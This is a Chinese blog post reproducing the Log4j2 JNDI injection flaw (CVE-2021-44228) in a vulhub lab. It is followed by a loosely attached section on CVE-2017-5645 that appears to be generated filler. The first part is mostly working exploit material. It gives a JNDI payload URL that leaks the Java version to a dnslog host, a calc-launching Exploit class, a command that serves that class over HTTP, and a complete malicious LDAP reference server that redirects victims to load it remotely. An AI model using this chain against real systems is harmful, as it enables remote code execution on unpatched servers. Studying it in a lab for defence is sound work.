复现log4j2-CVE-2021-44228

本文介绍了Apache Log4j2的安全漏洞CVE-2021-44228,该漏洞允许攻击者通过在日志记录中注入特定变量执行任意代码。文章详细说明了漏洞原理,通过一个通俗的解释帮助理解问题的本质。同时,作者提供了vulhub环境的搭建步骤,包括运行log4j容器、构造payload以及观察DNSlog的响应。接着,分析了漏洞利用过程,包括编译Exploit.java为class文件,并通过Python开启目录共享。最后,展示了如何利用ldap服务进行测试,成功调用了计算器,证实了漏洞的可行性。

漏洞原理:

官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

vulhub环境搭建

运行log4j容器

访问

 payload:

http://192.168.8.139:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xyr4kk.dnslog.cn}

dnslog上刷新显示jdk版本

漏洞分析:

pom依赖:
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.2.0</version>
        </dependency>
    </dependencies>

调用计算器代码:Exploit.java

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译成class文件:javac Exploit.java

ps:这里使用Python3开启目录共享,命令: python3 -m http.server 4444

 ldap服务

启动一个ldap服务
LDAPRefServer.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.8.102:4444/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

 开启ldap

 测试log4j

Log4J.java
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

计算器成功调用

### 复现log4j CVE-2017-5645漏洞 #### 靶机环境准备 为了复现该漏洞,需先准备好实验环境。这涉及到Docker及其组件的安装以及获取必要的资源文件。 在Linux环境中,通过一系列命令来完成docker及相关工具链的部署: ```bash apt-get update && \ apt-get install -y apt-transport-https ca-certificates && \ apt install docker.io && \ apt-get install python3-pip && \ pip3 install docker-compose && \ docker-compose -v ``` 接着克隆`vulhub`项目仓库到本地用于后续操作: ```bash git clone https://gitee.com/puier/vulhub.git ``` 上述过程确保了拥有一个能够运行容器化应用的基础平台,并获得了包含易受攻击应用程序镜像在内的资料库[^3]。 #### 进入特定漏洞场景路径 切换至已下载下来的`vulhub`项目的指定位置,即针对CVE-2017-5645设置好的测试案例所在之处: ```bash cd /home/hbesljx/vulhub/log4j/CVE-2017-5645 ``` 此步骤定位到了预设好存在安全缺陷的日志服务实例上,以便进一步开展验证工作[^1]。 #### 启动含有漏洞的服务 启动带有Log4j反序列化漏洞的服务端程序,通常借助于`docker-compose up`指令实现自动化部署流程。由于具体细节依赖于实际配置情况,在这里假设一切正常情况下只需简单执行如下命令即可开启目标服务: ```bash docker-compose up ``` 此时应该有一个正在监听网络连接并接受外部输入作为日志记录处理的对象等待着被利用[^2]。 #### 构造恶意负载触发漏洞 对于想要成功重现这一问题的研究人员来说,构建合适的载荷至关重要。考虑到CVE-2017-5645的特点——允许未经身份验证的数据包内嵌Java对象流的形式传送到服务器端解析,则可尝试发送特制的消息给定地址上的开放接口以期达到预期效果。然而具体的实施方法会依据个人研究方向有所不同,建议查阅更多关于JNDI注入技巧方面的参考资料深入理解整个攻击面。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值